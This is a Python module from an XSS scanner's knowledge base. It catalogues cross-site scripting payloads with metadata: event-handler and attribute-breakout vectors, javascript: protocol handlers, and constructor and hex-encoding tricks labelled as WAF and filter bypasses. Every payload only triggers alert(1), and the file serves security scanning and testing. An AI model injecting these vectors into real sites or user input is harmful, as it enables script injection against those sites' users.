#!/usr/bin/env python3

"""
Project: BRS-KB
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: Thu 26 Dec 2025 UTC
Status: Created
Telegram: https://t.me/EasyProTech

Scanner-specific payloads - payloads used by BRS-XSS scanner
that were missing from the main KB database.
"""

from ..models import PayloadEntry


SCANNER_PAYLOADS = {
    # HTML Media Elements
    "html_video_oncanplay": PayloadEntry(
        payload="<video controls oncanplay=alert(1)><source src=x>",
        description="Video element oncanplay event handler XSS - triggers when media can start playing",
        severity="high",
        contexts=["html_content"],
        tags=["video", "oncanplay", "media", "event", "html5"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    "html_audio_oncanplay_controls": PayloadEntry(
        payload="<audio controls oncanplay=alert(1)><source src=x>",
        description="Audio element with controls attribute oncanplay event XSS",
        severity="high",
        contexts=["html_content"],
        tags=["audio", "oncanplay", "media", "event", "html5"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    # Object/Embed Elements
    "html_object_data_js": PayloadEntry(
        payload="<object data=javascript:alert(1)>",
        description="Object element data attribute with javascript protocol - embeds executable content",
        severity="high",
        contexts=["html_content"],
        tags=["object", "data", "javascript", "protocol"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    "html_embed_src_js": PayloadEntry(
        payload="<embed src=javascript:alert(1)>",
        description="Embed element src attribute with javascript protocol injection",
        severity="high",
        contexts=["html_content"],
        tags=["embed", "javascript", "protocol", "src"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    # JavaScript Timer Functions - CRITICAL: Direct code execution sinks
    "js_setTimeout_string": PayloadEntry(
        payload='setTimeout("alert(1)",0)',
        description="setTimeout with string argument - evaluates string as code after delay",
        severity="critical",
        contexts=["javascript", "dom_xss_eval"],
        tags=["javascript", "setTimeout", "timer", "eval", "code-execution"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=8.5,
    ),
    "js_setInterval_string": PayloadEntry(
        payload='setInterval("alert(1)",0)',
        description="setInterval with string argument - repeatedly evaluates string as code",
        severity="critical",
        contexts=["javascript", "dom_xss_eval"],
        tags=["javascript", "setInterval", "timer", "eval", "code-execution"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=8.5,
    ),
    # JavaScript Constructor Techniques - CRITICAL: Direct code execution
    "js_Function_constructor": PayloadEntry(
        payload='Function("alert(1)")()',
        description="Function constructor creates and executes function from string",
        severity="critical",
        contexts=["javascript", "dom_xss_eval"],
        tags=["javascript", "function", "constructor", "indirect", "code-execution"],
        waf_evasion=True,
        bypasses=["keyword-filter"],
        cvss_score=8.5,
    ),
    "js_array_constructor_chain": PayloadEntry(
        payload='[].constructor.constructor("alert(1)")()',
        description="Array constructor chain to access Function constructor indirectly",
        severity="critical",
        contexts=["javascript", "dom_xss_eval"],
        tags=["javascript", "constructor", "indirect", "array", "code-execution"],
        waf_evasion=True,
        bypasses=["keyword-filter", "function-filter"],
        cvss_score=8.5,
    ),
    # Function.prototype Methods
    "js_alert_call": PayloadEntry(
        payload="alert.call(null,1)",
        description="Function.prototype.call to invoke alert with null context",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "function", "call", "prototype"],
        waf_evasion=True,
        bypasses=["parenthesis-filter"],
        cvss_score=6.1,
    ),
    "js_alert_apply": PayloadEntry(
        payload="alert.apply(null,[1])",
        description="Function.prototype.apply to invoke alert with array arguments",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "function", "apply", "prototype"],
        waf_evasion=True,
        bypasses=["parenthesis-filter"],
        cvss_score=6.1,
    ),
    # Global Object Property Access
    "js_window_bracket_alert": PayloadEntry(
        payload='window["alert"](1)',
        description="Bracket notation to access window.alert - bypasses dot notation filters",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "window", "bracket", "property"],
        waf_evasion=True,
        bypasses=["dot-notation-filter"],
        cvss_score=6.1,
    ),
    "js_self_bracket_alert": PayloadEntry(
        payload='self["alert"](1)',
        description="self object bracket notation alert access",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "self", "bracket", "property"],
        waf_evasion=True,
        bypasses=["window-filter"],
        cvss_score=6.1,
    ),
    "js_top_bracket_alert": PayloadEntry(
        payload='top["alert"](1)',
        description="top frame object bracket notation alert access",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "top", "bracket", "frame"],
        waf_evasion=True,
        bypasses=["window-filter"],
        cvss_score=6.1,
    ),
    "js_parent_bracket_alert": PayloadEntry(
        payload='parent["alert"](1)',
        description="parent frame object bracket notation alert access",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "parent", "bracket", "frame"],
        waf_evasion=True,
        bypasses=["window-filter"],
        cvss_score=6.1,
    ),
    "js_globalThis_alert": PayloadEntry(
        payload='globalThis["alert"](1)',
        description="ES2020 globalThis object property access - modern cross-platform global",
        severity="high",
        contexts=["javascript"],
        tags=["javascript", "globalThis", "es2020", "modern"],
        waf_evasion=True,
        bypasses=["window-filter"],
        cvss_score=6.1,
    ),
    # CSS Expression Variants (Legacy IE)
    "css_expression_string": PayloadEntry(
        payload='expression(alert("XSS"))',
        description="CSS expression with string argument - IE6/7 specific",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "ie", "legacy"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=5.4,
    ),
    "css_expression_eval": PayloadEntry(
        payload='expression(eval("alert(1)"))',
        description="CSS expression with eval - double evaluation in IE",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "eval", "ie", "legacy"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=5.4,
    ),
    "css_expression_window": PayloadEntry(
        payload="expression(window.alert(1))",
        description="CSS expression with explicit window object",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "window", "ie", "legacy"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=5.4,
    ),
    "css_expression_comment": PayloadEntry(
        payload="/**/expression(alert(1))/**/",
        description="CSS expression with comment obfuscation",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "comment", "obfuscation"],
        waf_evasion=True,
        bypasses=["expression-filter"],
        cvss_score=5.4,
    ),
    # CSS Encoded Expressions
    "css_expression_hex_e": PayloadEntry(
        payload="\\65 xpression(alert(1))",
        description="CSS expression with hex-encoded 'e' character",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "hex", "encoding"],
        waf_evasion=True,
        bypasses=["expression-filter"],
        cvss_score=5.4,
    ),
    "css_expression_hex_long": PayloadEntry(
        payload="\\000065 xpression(alert(1))",
        description="CSS expression with zero-padded hex encoding",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "hex", "padding"],
        waf_evasion=True,
        bypasses=["expression-filter"],
        cvss_score=5.4,
    ),
    "css_expression_hex_45": PayloadEntry(
        payload="\\45 xpression(alert(1))",
        description="CSS expression with alternate hex encoding",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "hex", "encoding"],
        waf_evasion=True,
        bypasses=["expression-filter"],
        cvss_score=5.4,
    ),
    "css_expr_mid_hex": PayloadEntry(
        payload="expr\\65 ssion(alert(1))",
        description="CSS expression with mid-word hex encoding",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "hex", "obfuscation"],
        waf_evasion=True,
        bypasses=["expression-filter"],
        cvss_score=5.4,
    ),
    "css_expre_hex_s": PayloadEntry(
        payload="expre\\73 sion(alert(1))",
        description="CSS expression with hex-encoded 's' character",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "hex", "encoding"],
        waf_evasion=True,
        bypasses=["expression-filter"],
        cvss_score=5.4,
    ),
    "css_expression_hex_parens": PayloadEntry(
        payload="expression\\28 alert(1)\\29",
        description="CSS expression with hex-encoded parentheses",
        severity="medium",
        contexts=["css"],
        tags=["css", "expression", "hex", "parentheses"],
        waf_evasion=True,
        bypasses=["expression-filter", "parenthesis-filter"],
        cvss_score=5.4,
    ),
    # URL Protocol Handlers - CRITICAL: Direct code execution via javascript: protocol
    "url_js_setTimeout": PayloadEntry(
        payload='javascript:setTimeout("alert(1)",0)',
        description="JavaScript protocol with setTimeout for delayed execution",
        severity="critical",
        contexts=["url", "dom_xss_eval"],
        tags=["javascript", "protocol", "setTimeout", "url", "code-execution"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=8.5,
    ),
    "url_js_Function": PayloadEntry(
        payload='javascript:Function("alert(1)")()',
        description="JavaScript protocol with Function constructor",
        severity="high",
        contexts=["url"],
        tags=["javascript", "protocol", "function", "constructor"],
        waf_evasion=True,
        bypasses=["eval-filter"],
        cvss_score=6.1,
    ),
    # Browser-Specific Protocols
    "url_about_blank": PayloadEntry(
        payload='about:blank">alert(1)',
        description="about:blank protocol with attribute breakout",
        severity="medium",
        contexts=["url"],
        tags=["protocol", "about", "breakout"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=5.4,
    ),
    "url_wyciwyg": PayloadEntry(
        payload="wyciwyg://alert(1)",
        description="WYCIWYG protocol handler - Firefox cache protocol",
        severity="low",
        contexts=["url"],
        tags=["protocol", "wyciwyg", "firefox", "cache"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=4.3,
    ),
    "url_feed_js": PayloadEntry(
        payload="feed:javascript:alert(1)",
        description="Feed protocol with nested javascript - RSS/Atom handler",
        severity="medium",
        contexts=["url"],
        tags=["protocol", "feed", "rss", "nested"],
        waf_evasion=True,
        bypasses=["javascript-filter"],
        cvss_score=5.4,
    ),
    "url_firefoxurl": PayloadEntry(
        payload="firefoxurl:javascript:alert(1)",
        description="Firefox-specific URL protocol handler",
        severity="low",
        contexts=["url"],
        tags=["protocol", "firefox", "browser-specific"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=4.3,
    ),
    "url_opera": PayloadEntry(
        payload="opera:javascript:alert(1)",
        description="Opera browser-specific protocol handler",
        severity="low",
        contexts=["url"],
        tags=["protocol", "opera", "browser-specific"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=4.3,
    ),
    "url_moz_icon": PayloadEntry(
        payload="moz-icon:javascript:alert(1)",
        description="Mozilla icon protocol with javascript injection",
        severity="low",
        contexts=["url"],
        tags=["protocol", "moz-icon", "firefox", "internal"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=4.3,
    ),
    "url_resource": PayloadEntry(
        payload="resource:javascript:alert(1)",
        description="Resource protocol handler with javascript injection",
        severity="low",
        contexts=["url"],
        tags=["protocol", "resource", "internal", "browser"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=4.3,
    ),
    # Attribute Breakout Payloads
    "attr_breakout_dquote_img": PayloadEntry(
        payload='"><img src=x onerror=alert(1)>',
        description="Double-quote attribute breakout with img onerror injection",
        severity="high",
        contexts=["html_attribute", "html_content"],
        tags=["html", "attribute-breakout", "img", "onerror"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    "attr_breakout_squote_img": PayloadEntry(
        payload="'><img src=x onerror=alert(1)>",
        description="Single-quote attribute breakout with img onerror injection",
        severity="high",
        contexts=["html_attribute", "html_content"],
        tags=["html", "attribute-breakout", "img", "onerror"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    "attr_breakout_dquote_svg": PayloadEntry(
        payload='"><svg onload=alert(1)>',
        description="Double-quote attribute breakout with SVG onload",
        severity="high",
        contexts=["html_attribute", "html_content"],
        tags=["html", "attribute-breakout", "svg", "onload"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    "attr_breakout_squote_svg": PayloadEntry(
        payload="'><svg onload=alert(1)>",
        description="Single-quote attribute breakout with SVG onload",
        severity="high",
        contexts=["html_attribute", "html_content"],
        tags=["html", "attribute-breakout", "svg", "onload"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
    # JavaScript Statement Injection
    "js_statement_injection": PayloadEntry(
        payload=";alert(1);//",
        description="JavaScript statement termination and injection with comment",
        severity="high",
        contexts=["javascript", "js_string"],
        tags=["javascript", "statement", "injection", "comment"],
        waf_evasion=False,
        bypasses=[],
        cvss_score=6.1,
    ),
}
